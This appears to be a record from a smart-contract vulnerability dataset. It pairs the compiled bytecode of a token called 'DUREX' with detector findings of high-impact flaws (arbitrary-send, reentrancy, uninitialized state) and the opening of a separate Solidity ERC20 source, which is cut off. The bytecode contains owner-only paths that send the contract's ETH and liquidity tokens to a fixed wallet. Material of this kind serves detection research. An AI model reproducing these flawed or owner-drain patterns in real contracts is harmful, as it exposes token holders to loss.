0x6080604052600436106101025760003560e01c806378e9792511610095578063a9059cbb11610064578063a9059cbb146104b3578063a985ceef14610524578063c3c8cd8014610551578063dd62ed3e14610568578063df3db2f8146105ed57610109565b806378e979251461038c5780638da5cb5b146103b757806395d89b41146103f85780639b44cb3c1461048857610109565b8063313ce567116100d1578063313ce567146102cb5780634bde92a1146102f95780636fc3eaec1461031057806370a082311461032757610109565b806306fdde031461010e578063095ea7b31461019e57806318160ddd1461020f57806323b872dd1461023a57610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610604565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101aa57600080fd5b506101f7600480360360408110156101c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610641565b60405180821515815260200191505060405180910390f35b34801561021b57600080fd5b5061022461065f565b6040518082815260200191505060405180910390f35b34801561024657600080fd5b506102b36004803603606081101561025d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b3480156102d757600080fd5b506102e0610747565b604051808260ff16815260200191505060405180910390f35b34801561030557600080fd5b5061030e610750565b005b34801561031c57600080fd5b50610325610d01565b005b34801561033357600080fd5b506103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d73565b6040518082815260200191505060405180910390f35b34801561039857600080fd5b506103a1610e5e565b6040518082815260200191505060405180910390f35b3480156103c357600080fd5b506103cc610e64565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561040457600080fd5b5061040d610e8d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044d578082015181840152602081019050610432565b50505050905090810190601f16801561047a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561049457600080fd5b5061049d610eca565b6040518082815260200191505060405180910390f35b3480156104bf57600080fd5b5061050c600480360360408110156104d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed0565b60405180821515815260200191505060405180910390f35b34801561053057600080fd5b50610539610eee565b60405180821515815260200191505060405180910390f35b34801561055d57600080fd5b50610566610f01565b005b34801561057457600080fd5b506105d76004803603604081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b6040518082815260200191505060405180910390f35b3480156105f957600080fd5b50610602611002565b005b60606040518060400160405280600581526020017f4455524558000000000000000000000000000000000000000000000000000000815250905090565b600061065561064e61123a565b8484611242565b6001905092915050565b600066038d7ea4c68000905090565b600061067b848484611439565b61073c8461068761123a565b6107378560405180606001604052806028815260200161368c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ed61123a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c959092919063ffffffff16565b611242565b600190509392505050565b60006009905090565b601260149054906101000a900460ff16156107d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061086130601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666038d7ea4c68000611242565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a757600080fd5b505afa1580156108bb573d6000803e3d6000fd5b505050506040513d60208110156108d157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561094457600080fd5b505afa158015610958573d6000803e3d6000fd5b505050506040513d602081101561096e57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156109e857600080fd5b505af11580156109fc573d6000803e3d6000fd5b505050506040513d6020811015610a1257600080fd5b8101908080519060200190929190505050601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aac30610d73565b60008030426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015610b3557600080fd5b505af1158015610b49573d6000803e3d6000fd5b50505050506040513d6060811015610b6057600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff02191690831515021790555065048c273950006013819055506001601260146101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d6020811015610ce557600080fd5b8101908080519060200190929190505050504260148190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d4261123a565b73ffffffffffffffffffffffffffffffffffffffff1614610d6257600080fd5b6000479050610d7081611d55565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e0e57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610e59565b610e56600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc1565b90505b919050565b60145481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4455524558000000000000000000000000000000000000000000000000000000815250905090565b60155481565b6000610ee4610edd61123a565b8484611439565b6001905092915050565b601260179054906101000a900460ff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f4261123a565b73ffffffffffffffffffffffffffffffffffffffff1614610f6257600080fd5b6000610f6d30610d73565b9050610f7881611e45565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b4262093a80601554011061107e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f6e6f74206465616420796574206272756800000000000000000000000000000081525060200191505060405180910390fd5b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561110957600080fd5b505afa15801561111d573d6000803e3d6000fd5b505050506040513d602081101561113357600080fd5b81019080805190602001909291905050509050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156111fb57600080fd5b505af115801561120f573d6000803e3d6000fd5b505050506040513d602081101561122557600080fd5b81019080805190602001909291905050505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806137026024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806136496022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806136dd6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611545576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135fc6023913960400191505060405180910390fd5b6000811161159e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806136b46029913960400191505060405180910390fd5b6115a6610e64565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161457506115e4610e64565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bcb57601260179054906101000a900460ff16156118a4573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116f05750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561174a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561187957601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661179061123a565b73ffffffffffffffffffffffffffffffffffffffff1614806118065750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ee61123a565b73ffffffffffffffffffffffffffffffffffffffff16145b611878576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b610258601454014211156118a3576000601260176101000a81548160ff0219169083151502179055505b5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119485750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61195157600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119fc5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a525750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a6a5750601260179054906101000a900460ff165b15611b115742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aba57600080fd5b601354811115611ac957600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611b1c30610d73565b9050601260159054906101000a900460ff16158015611b895750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba15750601260169054906101000a900460ff165b15611bc957611baf81611e45565b60004790506000811115611bc757611bc647611d55565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c725750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c7c57600090505b611c888484848461212f565b4260158190555050505050565b6000838311158290611d42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d07578082015181840152602081019050611cec565b50505050905090810190601f168015611d345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dbd573d6000803e3d6000fd5b5050565b6000600a54821115611e1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061361f602a913960400191505060405180910390fd5b6000611e28612386565b9050611e3d81846123b190919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff81118015611e7a57600080fd5b50604051908082528060200260200182016040528015611ea95781602001602082028036833780820191505090505b5090503081600081518110611eba57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5c57600080fd5b505afa158015611f70573d6000803e3d6000fd5b505050506040513d6020811015611f8657600080fd5b810190808051906020019092919050505081600181518110611fa457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061200b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611242565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156120cf5780820151818401526020810190506120b4565b505050509050019650505050505050600060405180830381600087803b1580156120f857600080fd5b505af115801561210c573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b8061213d5761213c6123fb565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121e05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f5576121f084848461243e565b612372565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122985750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122ad576122a884848461269e565b612371565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561234f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123645761235f8484846128fe565b612370565b61236f848484612bf3565b5b5b5b806123805761237f612dbe565b5b50505050565b6000806000612393612dd2565b915091506123aa81836123b190919063ffffffff16565b9250505090565b60006123f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613077565b905092915050565b6000600c5414801561240f57506000600d54145b156124195761243c565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124508761313d565b9550955095509550955095506124ae87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061254386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125d885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ef90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061262481613277565b61262e848361341c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806126b08761313d565b95509550955095509550955061270e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127a383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ef90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ef90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061288481613277565b61288e848361341c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806129108761313d565b95509550955095509550955061296e87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a0386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ef90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b2d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ef90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b7981613277565b612b83848361341c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612c058761313d565b955095509550955095509550612c6386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cf885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ef90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d4481613277565b612d4e848361341c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a549050600066038d7ea4c68000905060005b60098054905081101561303057826002600060098481548110612e0a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612ef15750816003600060098481548110612e8957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612f0d57600a5466038d7ea4c6800094509450505050613073565b612f966002600060098481548110612f2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846131a590919063ffffffff16565b92506130216003600060098481548110612fac57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836131a590919063ffffffff16565b91508080600101915050612deb565b5061304d66038d7ea4c68000600a546123b190919063ffffffff16565b82101561306a57600a5466038d7ea4c68000935093505050613073565b81819350935050505b9091565b60008083118290613123576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156130e85780820151818401526020810190506130cd565b50505050905090810190601f1680156131155780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161312f57fe5b049050809150509392505050565b600080600080600080600080600061315a8a600c54600d54613456565b925092509250600061316a612386565b9050600080600061317d8e8787876134ec565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006131e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c95565b905092915050565b60008082840190508381101561326d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613281612386565b90506000613298828461357590919063ffffffff16565b90506132ec81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ef90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613417576133d383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ef90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b61343182600a546131a590919063ffffffff16565b600a8190555061344c81600b546131ef90919063ffffffff16565b600b819055505050565b6000806000806134826064613474888a61357590919063ffffffff16565b6123b190919063ffffffff16565b905060006134ac606461349e888b61357590919063ffffffff16565b6123b190919063ffffffff16565b905060006134d5826134c7858c6131a590919063ffffffff16565b6131a590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613505858961357590919063ffffffff16565b9050600061351c868961357590919063ffffffff16565b90506000613533878961357590919063ffffffff16565b9050600061355c8261354e85876131a590919063ffffffff16565b6131a590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561358857600090506135f5565b600082840290508284828161359957fe5b04146135f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061366b6021913960400191505060405180910390fd5b809150505b9291505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220186f33f633c0e59ccd2b359d072bd7288ea51d41efa9edee87b45622e51e38e364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,571 |
0x7a4b19ab0b2116e2da1a6a4214a6f2ccc65011bd
|
/**
*Submitted for verification at Etherscan.io on 2021-05-04
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: GPL-3.0
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Not authorized operation");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Address shouldn't be zero");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address _owner) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Simple ERC20 Token example, with mintable token creation only during the deployement of the token contract */
contract TokenContract is Ownable{
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public tokenOwner;
address private ico;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => bool) public vestedlist;
